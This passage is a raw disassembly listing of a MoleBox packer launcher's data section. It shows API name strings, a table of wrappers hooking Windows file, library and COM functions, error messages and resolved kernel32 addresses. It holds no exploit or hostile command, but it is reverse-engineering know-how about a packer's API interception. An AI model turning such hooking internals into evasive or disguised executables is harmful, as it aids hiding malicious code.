sub_4CE2E0+2BFo align 4 aGetprivatepr_1 db 'GetPrivateProfileStringA',0 ; DATA XREF: sub_4CE2E0+2ABo align 4 aGetprivatepr_0 db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: sub_4CE2E0+297o align 4 aGetprivateprof db 'GetPrivateProfileIntA',0 ; DATA XREF: sub_4CE2E0+283o align 4 aGetmodulehandl db 'GetModuleHandleA',0 ; DATA XREF: sub_4CE2E0+26Fo align 10h aGetmodulefilen db 'GetModuleFileNameA',0 ; DATA XREF: sub_4CE2E0+25Bo align 4 aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_4CE2E0+247o align 4 aGetfullpathn_0 db 'GetFullPathNameW',0 ; DATA XREF: sub_4CE2E0+233o align 4 aGetfullpathnam db 'GetFullPathNameA',0 ; DATA XREF: sub_4CE2E0+21Fo align 4 aGetfiletime db 'GetFileTime',0 ; DATA XREF: sub_4CE2E0+20Bo aGetfilesize db 'GetFileSize',0 ; DATA XREF: sub_4CE2E0+1F7o aGetfileinforma db 'GetFileInformationByHandle',0 ; DATA XREF: sub_4CE2E0+1E3o align 10h aGetfileattri_0 db 'GetFileAttributesW',0 ; DATA XREF: sub_4CE2E0+1CFo align 4 aGetfileattribu db 'GetFileAttributesA',0 ; DATA XREF: sub_4CE2E0+1BBo align 4 aGetexitcodepro db 'GetExitCodeProcess',0 ; DATA XREF: sub_4CE2E0+1A7o ; sub_4D7494+1A6o align 4 aGetenvironment db 'GetEnvironmentVariableA',0 ; DATA XREF: sub_4CE2E0+193o aGetcurrentpr_0 db 'GetCurrentProcessId',0 ; DATA XREF: sub_4CE2E0+17Fo ; sub_4D58A0+11o aFreelibrary db 'FreeLibrary',0 ; DATA XREF: sub_4CE2E0+157o aFormatmessagea db 'FormatMessageA',0 ; DATA XREF: sub_4CE2E0+143o align 4 aFlushfilebuffe db 'FlushFileBuffers',0 ; DATA XREF: sub_4CE2E0+12Fo align 4 aFindnextfilea db 'FindNextFileA',0 ; DATA XREF: sub_4CE2E0+11Bo align 4 aFindfirstfilea db 'FindFirstFileA',0 ; DATA XREF: sub_4CE2E0+107o ; sub_4D7494+11Co align 4 aFindclose db 'FindClose',0 ; DATA XREF: sub_4CE2E0+F3o ; sub_4D7494+178o align 4 aExitprocess db 'ExitProcess',0 ; DATA XREF: sub_4CE2E0+DFo ; sub_4D7494+202o aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_4CE2E0+CBo align 4 aDeletefilea db 'DeleteFileA',0 ; DATA XREF: sub_4CE2E0+B7o ; sub_4D7494+14Ao aDebugbreak db 'DebugBreak',0 ; DATA XREF: sub_4CE2E0+A3o align 10h aCreateprocessa db 'CreateProcessA',0 ; DATA XREF: sub_4CE2E0+8Fo align 10h aCreatefilema_0 db 'CreateFileMappingW',0 ; DATA XREF: sub_4CE2E0+7Bo align 4 aCreatefilemapp db 'CreateFileMappingA',0 ; DATA XREF: sub_4CE2E0+67o align 4 aCreatefilew db 'CreateFileW',0 ; DATA XREF: sub_4CE2E0+53o aCreatefilea db 'CreateFileA',0 ; DATA XREF: sub_4CE2E0+3Fo aClosehandle db 'CloseHandle',0 ; DATA XREF: sub_4CE2E0:loc_4CE30Bo ; sub_4D7494+28Co aApiNopefunc db ':API:NopeFunc',0 ; DATA XREF: sub_4DDAB0+3o align 4 aMbx db 'mbx',0 ; DATA XREF: sub_4CF94C+19Eo aBoxReadcompres db ':BOX:ReadCompressedSection: decompresion failed with code %d',0 ; DATA XREF: sub_4D0C5C+340o align 10h a? db '\\?\',0 ; DATA XREF: sub_4D153F+56o align 4 dword_4E0B68 dd 98h ; DATA XREF: sub_4D2DD0+5Aw align 10h dword_4E0B70 dd 2 dup(0) ; DATA XREF: sub_4D0C5C+B6o ; sub_4D0C5C+DBo ... dword_4E0B78 dd 0 ; DATA XREF: sub_4D0C5C+73r ; sub_4D0C5C+F9w ... dword_4E0B7C dd 0 ; DATA XREF: sub_4D0C5C+63r ; sub_4D0C5C+106w ... off_4E0B80 dd offset dword_4E18FC ; DATA XREF: sub_4D0C5C+84r ; sub_4D0C5C+125r dd 5 dup(0) dd offset dword_4E1900 dd 5 dup(0) dd offset dword_4E1904 align 8 aKernel32_0 db 'kernel32',0 ; DATA XREF: sub_4D2DD0+E2o ; sub_4DA8AA:loc_4DA995o ... align 4 aGetlongpathnam db 'GetLongPathNameA',0 ; DATA XREF: sub_4D2DD0+DDo ; sub_4DAAEB+27o align 4 dword_4E0BD8 dd 584F424Dh ; DATA XREF: sub_4D3610:loc_4D39B0r ; sub_4D3610+3C4o align 10h dword_4E0BE0 dd 2Ah ; DATA XREF: sub_4CC06B+5Ao dword_4E0BE4 dd 2A2E2Ah ; DATA XREF: sub_4CC06B+26o off_4E0BE8 dd offset aAvicap32_dll ; DATA XREF: sub_4D4AB0:loc_4D4BDDr ; sub_4D4AB0+139w ... ; "avicap32.dll" aTheUncompressi db 'The uncompression error',0 aExecutable db 'EXECUTABLE',0 ; DATA XREF: sub_4D4AB0+14Bo ; sub_4D4DC0+220o align 10h aTheDynamicLink db 'The dynamic link library ',27h,'%s',27h,' could not be found',0 ; DATA XREF: sub_4D4AB0+123o align 4 aOleaout32_dll db 'oleaout32.dll',0 ; DATA XREF: sub_4D4DC0+295o align 4 aOleoaut32_dll db 'oleoaut32.dll',0 ; DATA XREF: sub_4D4DC0:loc_4D5041o align 4 aImm32_dll db 'imm32.dll',0 ; DATA XREF: sub_4D4DC0:loc_4D501Fo ; sub_4D4DC0+273o align 10h loc_4E0C70: ; DATA XREF: sub_4D61E1+B67o pop eax push 0FF00FF00h push 0FF00FF00h push 0FF00FF00h push eax push 0FF00FF00h retn ; --------------------------------------------------------------------------- align 4 dword_4E0C88 dd 6C6C642Eh, 0 ; DATA XREF: sub_4D581E+19o ; sub_4D581E+32o aDProjectsMy_sr db 'D:\Projects\My.SRC\MoleStudio\MoleBox\molebox2\bootup\mbx_DLL.cpp' ; DATA XREF: sub_4D61E1+D34o db 0 align 4 a_box_ db '_BOX_',0 ; DATA XREF: sub_4D61E1+ADBo align 4 aGetcurrentdire db 'GetCurrentDirectoryA',0 ; DATA XREF: sub_4D7494+EEo align 4 aSetcurrentdire db 'SetCurrentDirectoryA',0 ; DATA XREF: sub_4D7494+C0o align 4 aMbx@X@_ db 'MBX@%X@*.###',0 ; DATA XREF: sub_4D7494+53o ; sub_4D8892+E8o align 4 aStripped db '<stripped>',0 ; DATA XREF: _5:off_4DE4FCo align 4 aAssertionFai_0 db 'ASSERTION failed',0 ; DATA XREF: _5:off_4DE4F8o align 4 aMoleboxLaunche db 'MoleBox launcher fatal error',0 ; DATA XREF: _5:off_4DE4F4o align 4 asc_4E0D5C: ; DATA XREF: sub_4D848C+57o ; sub_4D84F7+2Do dw 0Ah unicode 0, <>,0 aErrorAtSDReaso db 'Error at %s:%d',0Ah ; DATA XREF: sub_4D848C+1Eo db 0Ah db 'Reason: ',0 align 4 aUp1_txt db '-up1.txt',0 ; DATA XREF: sub_4D8538:loc_4D8648o align 4 aUp_txt db '-up.txt',0 ; DATA XREF: sub_4D8538+BCo asc_4E0D90 db 0Dh,0Ah,0 ; DATA XREF: sub_4D8726+59o align 4 aWindowsErrorSA db 'windows error %s',0Ah ; DATA XREF: sub_4D87CA+75o db ' at %s(%d)',0Ah,0 align 4 aMbx@X@X_ db 'MBX@%X@%X.###',0 ; DATA XREF: sub_4D8892+C2o align 4 aMbx@X@X@X_ db 'MBX@%X@%X@%X.###',0 ; DATA XREF: sub_4D8892+93o align 4 a_ db '.###',0 ; DATA XREF: sub_4D8A16+175o align 10h aMbx@ db 'MBX@',0 ; DATA XREF: sub_4D8A16+78o align 4 aInvalidDllRelo db 'INVALID DLL RELOCATION',0 ; DATA XREF: sub_4D8C27:loc_4D8E60o align 10h aBadFuulname db 'BAD FUULNAME',0 ; DATA XREF: sub_4D8C27:loc_4D8E57o align 10h aGetmodulenameE db 'GetModuleName ERROR',0 ; DATA XREF: sub_4D8C27:loc_4D8E4Eo aHookingDllErro db 'HOOKING DLL ERROR',0 ; DATA XREF: sub_4D8C27:loc_4D8E45o align 4 aPackedDllOrBox db 'PACKED DLL OR BOXFILE CORRUPTED',0 ; DATA XREF: sub_4D8C27:loc_4D8E3Co aInvalidCompres db 'INVALID COMPRESSION/ENCRYPTION ALGORITHM',0 ; DATA XREF: sub_4D8C27:loc_4D8E33o align 4 aDllCorrupted db 'DLL CORRUPTED',0 ; DATA XREF: sub_4D8C27:loc_4D8E2Ao align 4 aHeapCorrupted db 'HEAP CORRUPTED',0 ; DATA XREF: sub_4D8C27:loc_4D8E21o align 4 aCouldNotCreate db 'COULD NOT CREATE HEAP',0 ; DATA XREF: sub_4D8C27:loc_4D8E18o align 4 aVirtualprote_0 db 'VIRTUALPROTECT BROKEN',0 ; DATA XREF: sub_4D8C27:loc_4D8E0Fo align 4 aWrappersTableB db 'WRAPPERS TABLE BROKEN',0 ; DATA XREF: sub_4D8C27:loc_4D8E06o align 4 aOutOfMemory db 'OUT OF MEMORY',0 ; DATA XREF: sub_4D8C27:loc_4D8DFDo align 4 aFeatureIsNotIm db 'FEATURE IS NOT IMPLEMENTED',0 ; DATA XREF: sub_4D8C27:loc_4D8DF4o align 4 aBoxfileCorrupt db 'BOXFILE CORRUPTED',0 ; DATA XREF: sub_4D8C27:loc_4D8DEBo align 4 aReadBoxfileErr db 'READ BOXFILE ERROR',0 ; DATA XREF: sub_4D8C27:loc_4D8DE2o align 10h aCouldNotOpenBo db 'COULD NOT OPEN BOXFILE',0 ; DATA XREF: sub_4D8C27:loc_4D8DD6o align 4 aPathIsVeryLong db 'PATH IS VERY LONG',0 ; DATA XREF: sub_4D8C27:loc_4D8DCAo align 4 aExecutableCorr db 'EXECUTABLE CORRUPTED',0 ; DATA XREF: sub_4D8C27:loc_4D8DBEo align 4 aDynamicLibrary db 'DYNAMIC LIBRARY IS NOT NT IMAGE',0 ; DATA XREF: sub_4D8C27:loc_4D8DB2o aExecutableIsNo db 'EXECUTABLE IS NOT NT IMAGE',0 ; DATA XREF: sub_4D8C27:loc_4D8DA6o align 10h aHasNoAccessToE db 'HAS NO ACCESS TO EXECUTABLE',0 ; DATA XREF: sub_4D8C27:loc_4D8D9Ao aAssertionFaile db 'ASSERTION FAILED',0 ; DATA XREF: sub_4D8C27:loc_4D8D8Eo align 10h aEsi0x08xEdi0x0 db 'ESI:0x%08X EDI:0x%08X',0 ; DATA XREF: sub_4D8C27+101o align 4 aEsp0x08xEbp0x0 db 'ESP:0x%08X EBP:0x%08X EIP:0x%08X',0 ; DATA XREF: sub_4D8C27+DCo align 4 aEax0x08xEdx0x0 db 'EAX:0x%08X EDX:0x%08X ECX:0x%08X',0 ; DATA XREF: sub_4D8C27+ABo align 10h aEs0x08xFs0x08x db 'ES :0x%08X FS :0x%08X GS :0x%08X',0 ; DATA XREF: sub_4D8C27+7Ao align 4 aCs0x08xSs0x08x db 'CS :0x%08X SS :0x%08X DS :0x%08X',0 ; DATA XREF: sub_4D8C27+49o align 4 a__seh__0xXAt0x db '__SEH__ 0x%x at 0x%x',0 ; DATA XREF: sub_4D8C27+18o align 10h aCc7574e45e3947 db '{CC7574E4-5E39-4700-B286-269A82DD8E95}',0 ; DATA XREF: sub_4CC271+40o ; sub_4CC271+E2o align 4 a_splashscreen_ db '_splashscreen.bmp',0 ; DATA XREF: sub_4CC3F3+12o align 4 aBroken0x08x db '!broken!0x%08x:',0 ; DATA XREF: sub_4D8EF3+FBo a0x08xS03x08x db '0x%08x:[%s]:(%03x:%08x)',0 ; DATA XREF: sub_4D8EF3+CAo aUnknown db 'unknown',0 ; DATA XREF: sub_4D8EF3+B7o a0x08xUnknownUn db '0x%08x:[unknown]:unknown',0 ; DATA XREF: sub_4D8EF3+60o align 4 aBroken db '!broken!',0 ; DATA XREF: sub_4D8EF3+31o align 4 a0x08x0x08x0x08 db '0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x',0 ; DATA XREF: sub_4D918E+F9o aStack db '--stack--',0 ; DATA XREF: sub_4D918E:loc_4D9242o align 4 a___OpssBrokenB db ' ... opss, broken by SEH',0 ; DATA XREF: sub_4D918E+A5o ; sub_4D918E+11Eo align 10h aS_6 db ' %s',0 ; DATA XREF: sub_4D918E+47o ; sub_4D918E+8Ao align 4 aBacktrace db '-- backtrace --',0 ; DATA XREF: sub_4D918E+28o dd 2 dup(0FFFFFFFFh) aDllgetclassobj db 'DllGetClassObject',0 ; DATA XREF: sub_4D931F+51o ; sub_4DB076+39o align 8 dword_4E11C8 dd 2 dup(0) ; DATA XREF: sub_4D93B3+55o dd 0C0h, 46000000h dword_4E11D8 dd 1, 0 ; DATA XREF: sub_4D93B3+11o dd 0C0h, 46000000h aRegqueryvaluea db 'RegQueryValueA',0 ; DATA XREF: sub_4D9638+42o align 4 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 ; DATA XREF: sub_4D9638+3Do align 4 aClsid08x04x04x db 'CLSID\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\InprocSe' ; DATA XREF: sub_4D971C+58o db 'rver32',0 off_4E1250 dd offset sub_4D9C54 ; DATA XREF: sub_4D9DD4+102o dd offset aSetunhandled_0 ; "SetUnhandledExceptionFilter" dd offset sub_4DB2B0 dd offset aCreatefilea_0 ; "CreateFileA" dd offset sub_4DB2FE dd offset aCreatefilew_0 ; "CreateFileW" dd offset sub_4DA7AF dd offset aGetfileattri_3 ; "GetFileAttributesA" dd offset sub_4DA7DD dd offset aGetfileattri_4 ; "GetFileAttributesW" dd offset sub_4DA8AA dd offset aGetfileattri_5 ; "GetFileAttributesExW" dd offset sub_4DB3FC dd offset aReadfile_0 ; "ReadFile" dd offset sub_4DB3D5 dd offset aClosehandle_0 ; "CloseHandle" dd offset sub_4DB460 dd offset aSetfilepoint_0 ; "SetFilePointer" dd offset sub_4DA9EC dd offset aGetfilesize_0 ; "GetFileSize" dd offset sub_4DA0C8 dd offset aExitprocess_1 ; "ExitProcess" dd offset sub_4DB4A4 dd offset aCreatefilema_2 ; "CreateFileMappingA" dd offset sub_4DB4E0 dd offset aCreatefilema_3 ; "CreateFileMappingW" dd offset sub_4DB51C dd offset aMapviewoffil_0 ; "MapViewOfFile" dd offset sub_4DB55B dd offset aUnmapviewoff_1 ; "UnmapViewOfFile" dd offset sub_4DB18D dd offset aFreelibrary_1 ; "FreeLibrary" dd offset sub_4DAE83 dd offset aLoadlibrarya_0 ; "LoadLibraryA" dd offset sub_4DAF65 dd offset aLoadlibraryw ; "LoadLibraryW" dd offset sub_4DAE96 dd offset aLoadlibrarye_0 ; "LoadLibraryExA" dd offset sub_4DAF78 dd offset aLoadlibraryexw ; "LoadLibraryExW" dd offset sub_4DB076 dd offset aGetprocaddre_1 ; "GetProcAddress" dd offset sub_4DA334 dd offset aFindfirstfil_1 ; "FindFirstFileA" dd offset sub_4DA361 dd offset aFindfirstfilew ; "FindFirstFileW" dd offset sub_4DA4AA dd offset aFindfirstfilee ; "FindFirstFileExW" ; --------------------------------------------------------------------------- jmp dword ptr [ebp-17BBFFB3h] ; --------------------------------------------------------------------------- dw 4Dh dd offset sub_4DA626 dd offset aFindnextfile_1 ; "FindNextFileA" dd offset sub_4DA657 dd offset aFindnextfilew ; "FindNextFileW" dd offset sub_4DB582 dd offset aOpenfile ; "OpenFile" dd offset sub_4DB636 dd offset a_lopen ; "_lopen" dd offset sub_4DB677 dd offset a_lclose ; "_lclose" dd offset sub_4DB711 dd offset a_lread ; "_lread" dd offset sub_4DB6CC dd offset a_llseek ; "_llseek" dd offset sub_4DAF8C dd offset aGetmodulehan_1 ; "GetModuleHandleA" dd offset sub_4DAFC6 dd offset aGetmodulehan_2 ; "GetModuleHandleW" dd offset sub_4DA226 dd offset aSearchpathw ; "SearchPathW" dd offset sub_4DA1C7 dd offset aSearchpatha_0 ; "SearchPathA" dd offset sub_4DAC66 dd offset aGetprivatepr_2 ; "GetPrivateProfileStringA" dd offset sub_4DAD0C dd offset aGetprivatepr_3 ; "GetPrivateProfileIntA" dd offset sub_4DAD93 dd offset aGetprivatepr_4 ; "GetPrivateProfileSectionNamesA" dd offset sub_4DADDE dd offset aGetprivatepr_5 ; "GetPrivateProfileSectionA" dd offset sub_4DA710 dd offset aGetfileinfor_0 ; "GetFileInformationByHandle" dd offset sub_4DA741 dd offset aLockfile_0 ; "LockFile" dd offset sub_4DA77D dd offset aUnlockfile_0 ; "UnlockFile" dd offset sub_4DAA24 dd offset aGetmodulefil_1 ; "GetModuleFileNameA" dd offset sub_4DAA5E dd offset aGetmodulefil_2 ; "GetModuleFileNameW" dd offset sub_4DAAEB dd offset aGetlongpathn_1 ; "GetLongPathNameA" dd offset sub_4DAB3D dd offset aGetlongpathn_2 ; "GetLongPathNameW" off_4E13C8 dd offset sub_4DB23E ; DATA XREF: sub_4D9DD4+116o dd offset aAddfontresou_0 ; "AddFontResourceA" dd offset sub_4DB277 dd offset aRemovefontre_0 ; "RemoveFontResourceA" off_4E13D8 dd offset sub_4DB1EA ; DATA XREF: sub_4D9DD4+12Ao dd offset aLoadimagea_0 ; "LoadImageA" off_4E13E0 dd offset sub_4D9518 ; DATA XREF: sub_4D9DD4+13Eo dd offset aCocreateinstan ; "CoCreateInstance" dd offset sub_4D9789 dd offset aCocreateinst_0 ; "CoCreateInstanceEx" dd offset sub_4D98C0 dd offset aCogetclassobje ; "CoGetClassObject" off_4E13F8 dd offset sub_4D9A34 ; DATA XREF: sub_4D9DD4+152o dd offset aGetrecordinf_0 ; "GetRecordInfoFromGuids" dd offset sub_4D9B3C dd offset aLoadregtypelib ; "LoadRegTypeLib" aGetfileattri_1 db 'GetFileAttributesExW',0 ; DATA XREF: sub_4DA8AA+F0o align 10h aGetlongpathn_0 db 'GetLongPathNameW',0 ; DATA XREF: sub_4DAB3D+A8o align 4 dword_4E1434 dd 19930520h, 4D0829h, 158h, 12E718h, 3 dup(0) ; DATA XREF: _4:004CC523o ; sub_4CC52A+2o off_4E1450 dd offset word_4E145A ; DATA XREF: sub_4CC86E:loc_4CC8BDr ; sub_4CC86E:loc_4CC8CFr ... dd offset word_4E145A db 2 dup(0) word_4E145A dw 20h ; DATA XREF: _6:off_4E1450o ; _6:004E1454o unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4E165C dd 1 ; DATA XREF: sub_4CC86E+3Cr ; sub_4CC9EA:loc_4CC9F2r ... dd 2Eh, 1, 2 dup(0) dword_4E1670 dd 77E64C09h ; DATA XREF: sub_4CD2E0+1DFw ; sub_4CD2E0+1F6r ... dword_4E1674 dd 920000h ; DATA XREF: _4:004CDED3w _4:004CDF0Fr dword_4E1678 dd 940000h ; DATA XREF: _4:004CDF0Aw _4:004CDF1Br dword_4E167C dd 930000h ; DATA XREF: _4:004CDEF4w dword_4E1680 dd 2 ; DATA XREF: _4:004CE0BCr ; sub_4D4DC0+59r ... dword_4E1684 dd 911F18h ; DATA XREF: _4:004CE206r ; _4:loc_4CE28Fr ... dword_4E1688 dd 4CDB3Eh ; DATA XREF: sub_4CDE50+3r ; _4:004CDE6Fw dword_4E168C dd 0FFFFFFFFh ; DATA XREF: sub_4CD2E0+213w ; sub_4CD2E0+387r ... dd 0 byte_4E1694 db 0 ; DATA XREF: _4:004CE2A1w ; sub_4D581E+Er align 4 dword_4E1698 dd 7 ; DATA XREF: sub_4CD2E0+407w ; sub_4D4DC0:loc_4D4E0Dr off_4E169C dd offset a_text ; DATA XREF: sub_4CD2E0+410w ; _4:loc_4CEC97r ... ; ".text" dword_4E16A0 dd 0 ; DATA XREF: sub_4CE2E0+8B3o dword_4E16A4 dd 77E77963h ; DATA XREF: sub_4CE2E0+3Aw ; sub_4CE2E0+881o ... dword_4E16A8 dd 77E7A837h ; DATA XREF: sub_4CE2E0+4Ew ; _4:004CEC0Cr ... dword_4E16AC dd 77E779B1h ; DATA XREF: sub_4CE2E0+62w ; sub_4DB2FE+9Fr dword_4E16B0 dd 77E77797h ; DATA XREF: sub_4CE2E0+76w ; _4:004CEC40r ... dword_4E16B4 dd 77E776D3h ; DATA XREF: sub_4CE2E0+8Aw ; sub_4DB4E0+2Cr dword_4E16B8 dd 77E61BB8h ; DATA XREF: sub_4CE2E0+9Ew ; sub_4D71C3+E6r dword_4E16BC dd 77EB36A5h ; DATA XREF: sub_4CE2E0+B2w dword_4E16C0 dd 77E73628h ; DATA XREF: sub_4CE2E0+C6w ; sub_4CF94C+2EAr ... dword_4E16C4 dd 77F7E21Fh ; DATA XREF: sub_4CE2E0+DAw ; sub_4CF252+2Ar ... dword_4E16C8 dd 77E75CB5h ; DATA XREF: sub_4CE2E0+EEw ; sub_4DA0C8+AFr dword_4E16CC dd 77E78EAAh ; DATA XREF: sub_4CE2E0+102w ; sub_4D2DD0+5E2r ... dword_4E16D0 dd 77E75D9Eh ; DATA XREF: sub_4CE2E0+116w ; sub_4CF6DE+B4r ... dword_4E16D4 dd 77E75E67h ; DATA XREF: sub_4CE2E0+12Aw ; sub_4CF6DE+DCr ... dword_4E16D8 dd 77E73FF9h ; DATA XREF: sub_4CE2E0+13Ew ; sub_4D61E1+CFEr dword_4E16DC dd 77E76A60h ; DATA XREF: sub_4CE2E0+152w ; sub_4D87CA+60r dword_4E16E0 dd 77E80618h ; DATA XREF: sub_4CE2E0+166w ; sub_4D58CF+163r ... dword_4E16E4 dd 77E79C90h ; DATA XREF: sub_4CE2E0+17Aw ; sub_4D71C3+4Br ... dword_4E16E8 dd 77E80656h ; DATA XREF: sub_4CC216+15r ; sub_4CE2E0+18Ew ... dword_4E16EC dd 77E7AC5Eh ; DATA XREF: sub_4CE2E0+1A2w dword_4E16F0 dd 77E7FF65h ; DATA XREF: sub_4CE2E0+1B6w dword_4E16F4 dd 77E74CABh ; DATA XREF: sub_4CE2E0+1CAw ; sub_4DA7AF+16r dword_4E16F8 dd 77E78536h ; DATA XREF: sub_4CE2E0+1DEw ; sub_4DA7DD+84r dword_4E16FC dd 77E72EA0h ; DATA XREF: sub_4CE2E0+1F2w ; sub_4D0858+83r ... dword_4E1700 dd 77E793EFh ; DATA XREF: sub_4CE2E0+206w ; _4:004CEC21r ... dword_4E1704 dd 77E73CE2h ; DATA XREF: sub_4CE2E0+21Aw ; sub_4D3610+720r dword_4E1708 dd 77E80357h ; DATA XREF: sub_4CE2E0+22Ew ; sub_4CF252+71r ... dword_4E170C dd 77E781DBh ; DATA XREF: sub_4CE2E0+242w ; sub_4DA226+92r dword_4E1710 dd 77F5157Dh ; DATA XREF: sub_4CE2E0+256w ; sub_4D58CF+14Er ... dword_4E1714 dd 77E7A099h ; DATA XREF: sub_4CE2E0+26Aw ; _4:004CEE99r ... dword_4E1718 dd 77E79F93h ; DATA XREF: sub_4CC271+4Cr ; _4:004CDE79r ... dword_4E171C dd 77E719F3h ; DATA XREF: sub_4CE2E0+292w ; sub_4DAD0C+76r dword_4E1720 dd 77E61FD2h ; DATA XREF: sub_4CE2E0+2A6w ; sub_4DAD93+3Br dword_4E1724 dd 77E72C64h ; DATA XREF: sub_4CE2E0+2BAw ; sub_4DAC66+95r dword_4E1728 dd 77E7A5FDh ; DATA XREF: _4:004CDEA2r ; sub_4CE2E0+2CEw ... dword_4E172C dd 77E6167Bh ; DATA XREF: sub_4CE2E0+2E2w ; sub_4D0C5C+97r ... dword_4E1730 dd 77E6AF8Fh ; DATA XREF: sub_4CE2E0+2F6w ; sub_4CF94C+1A6r dword_4E1734 dd 77E6AD34h ; DATA XREF: sub_4CE2E0+30Aw ; sub_4CF94C+193r ... dword_4E1738 dd 77E7C657h ; DATA XREF: sub_4CE2E0+31Ew dword_4E173C dd 77E7751Ah ; DATA XREF: _4:004CDEDFr ; sub_4CE2E0+332w dword_4E1740 dd 77F516F8h ; DATA XREF: sub_4CE2E0+346w ; sub_4D835A+1Fr dword_4E1744 dd 77F51597h ; DATA XREF: sub_4CE2E0+35Aw ; sub_4D83DD+1Cr dword_4E1748 dd 77E7C726h ; DATA XREF: sub_4CE2E0+36Ew ; sub_4D8397+16r dword_4E174C dd 77E79908h ; DATA XREF: sub_4CE2E0+382w ; sub_4D2DD0+2Er ... dword_4E1750 dd 77F53275h ; DATA XREF: sub_4CE2E0+396w ; sub_4DB82A+2Br dword_4E1754 dd 77F7E300h ; DATA XREF: sub_4CE2E0+3AAw ; sub_4CF61F+5r ... dword_4E1758 dd 77E805B8h ; DATA XREF: sub_4CE2E0+3D2w ; sub_4D61E1+17Fr dword_4E175C dd 77E805D8h ; DATA XREF: sub_4CE2E0+3BEw ; sub_4CE2E0+5D0r ... dword_4E1760 dd 77E79881h ; DATA XREF: sub_4CE2E0+3E6w dword_4E1764 dd 77E79A45h ; DATA XREF: sub_4CE2E0+3FAw ; sub_4D8864+9r dword_4E1768 dd 77E64E2Bh ; DATA XREF: sub_4CE2E0+40Ew ; sub_4DA741+23r dword_4E176C dd 77E74D76h ; DATA XREF: sub_4CE2E0+422w ; _4:004CEC5Dr ... dword_4E1770 dd 77E77CCEh ; DATA XREF: sub_4CE2E0+436w ; sub_4D9A34+69r ... dword_4E1774 dd 77E706B7h ; DATA XREF: sub_4CE2E0+44Aw dword_4E1778 dd 77E6D706h ; DATA XREF: _4:004CDE93r _4:004CDEBCr ... dword_4E177C dd 77E78B82h ; DATA XREF: sub_4CE2E0+472w ; _4:004D0B0Br ... dword_4E1780 dd 77E6BD68h ; DATA XREF: sub_4CE2E0+486w dword_4E1784 dd 77E74A3Bh ; DATA XREF: sub_4CE2E0+49Aw ; sub_4DB3FC+57r dword_4E1788 dd 77E78C81h ; DATA XREF: sub_4CE2E0+4AEw ; sub_4D0346+74r ... dword_4E178C dd 77F51587h ; DATA XREF: sub_4CE2E0+4C2w ; sub_4CF252+3BCr ... dword_4E1790 dd 77E7C9E7h ; DATA XREF: sub_4CE2E0+4D6w ; sub_4D8C17+8r ... dword_4E1794 dd 77E61BE6h ; DATA XREF: sub_4CC271+137r ; sub_4CC271+16Ar ... dword_4E1798 dd 77E616B4h ; DATA XREF: sub_4CE2E0+4FEw ; sub_4D8401+2Dr ... dword_4E179C dd 77E64EA0h ; DATA XREF: sub_4CE2E0+512w ; sub_4DA77D+23r dword_4E17A0 dd 77E75090h ; DATA XREF: sub_4CE2E0+526w ; sub_4CEDE4:loc_4CEDEEr ... dword_4E17A4 dd 77E7980Ah ; DATA XREF: sub_4CE2E0+53Aw ; sub_4CFFBF+125r ... dword_4E17A8 dd 77E79E34h ; DATA XREF: sub_4CE2E0+54Ew ; sub_4CFECD+91r ... dword_4E17AC dd 77E6169Ah ; DATA XREF: sub_4CE2E0+562w ; sub_4CFFBF+14Br ... dword_4E17B0 dd 77E7F044h ; DATA XREF: sub_4CE2E0+576w ; sub_4D8EF3+56r dword_4E17B4 dd 77E79D5Bh ; DATA XREF: sub_4CE2E0+58Aw dword_4E17B8 dd 77E79924h ; DATA XREF: sub_4CE2E0+59Ew ; sub_4DA226+6Ar ... dword_4E17BC dd 77E79D8Ch ; DATA XREF: sub_4CE2E0+5B2w ; sub_4CF94C+282r ... dword_4E17C0 dd 77E76A2Eh ; DATA XREF: sub_4CE2E0+5C6w ; sub_4D1CC4+1E2r ... dword_4E17C4 dd 77D98E9Ah ; DATA XREF: sub_4CE2E0+5FFw ; sub_4D8401+Br ... dword_4E17C8 dd 77D44D9Bh ; DATA XREF: sub_4CE2E0+613w ; sub_4CF252+88r ... dword_4E17CC dd 77D4D42Bh ; DATA XREF: sub_4CE2E0+627w ; sub_4DB1EA+44r dword_4E17D0 dd 77D6ADD7h ; DATA XREF: sub_4CE2E0+63Bw ; sub_4D8401+1Er ... dword_4E17D4 dd 77D4C96Ah ; DATA XREF: sub_4CE2E0+64Fw ; sub_4D7494+5Dr ... dword_4E17D8 dd 77D4C783h ; DATA XREF: sub_4CE2E0+663w ; sub_4D848C+45r ... dword_4E17DC dd 77C87425h ; DATA XREF: sub_4CE2E0+69Cw ; sub_4CF94C+2D4r dword_4E17E0 dd 77C7212Fh ; DATA XREF: sub_4CC15E+41r ; sub_4CE2E0+6B0w ... dword_4E17E4 dd 77C76551h ; DATA XREF: sub_4CE2E0+6C4w ; sub_4D5456+1D1r dword_4E17E8 dd 77C72C6Bh ; DATA XREF: sub_4CC15E+8Ar ; sub_4CE2E0+6D8w ... dword_4E17EC dd 77C87887h ; DATA XREF: sub_4CE2E0+6ECw ; sub_4CFD24+E6r ... dword_4E17F0 dd 77D458EEh ; DATA XREF: sub_4CC15E+38r ; sub_4CE2E0+700w dword_4E17F4 dd 77D458FDh ; DATA XREF: sub_4CC15E+97r ; sub_4CE2E0+714w dword_4E17F8 dd 77C7506Dh ; DATA XREF: sub_4CC15E+2Br ; sub_4CC271+26r ... dword_4E17FC dd 77C71BB0h ; DATA XREF: sub_4CC15E+53r ; sub_4CC15E+81r ... dword_4E1800 dd 77C72889h ; DATA XREF: sub_4CC271+175r ; sub_4CE2E0+750w dword_4E1804 dd 77C729E2h ; DATA XREF: sub_4CC15E+75r ; sub_4CE2E0+764w dword_4E1808 dd 77D45CBCh ; DATA XREF: sub_4CC216+Fr ; sub_4CE2E0+778w dword_4E180C dd 77D48977h ; DATA XREF: sub_4CC216+41r ; sub_4CE2E0+78Cw dword_4E1810 dd 77D47F34h ; DATA XREF: sub_4CC216+4Ar ; sub_4CE2E0+7A0w dword_4E1814 dd 77D4DCCCh ; DATA XREF: sub_4CC271+5Cr ; sub_4CE2E0+7B4w dword_4E1818 dd 77D477C0h ; DATA XREF: 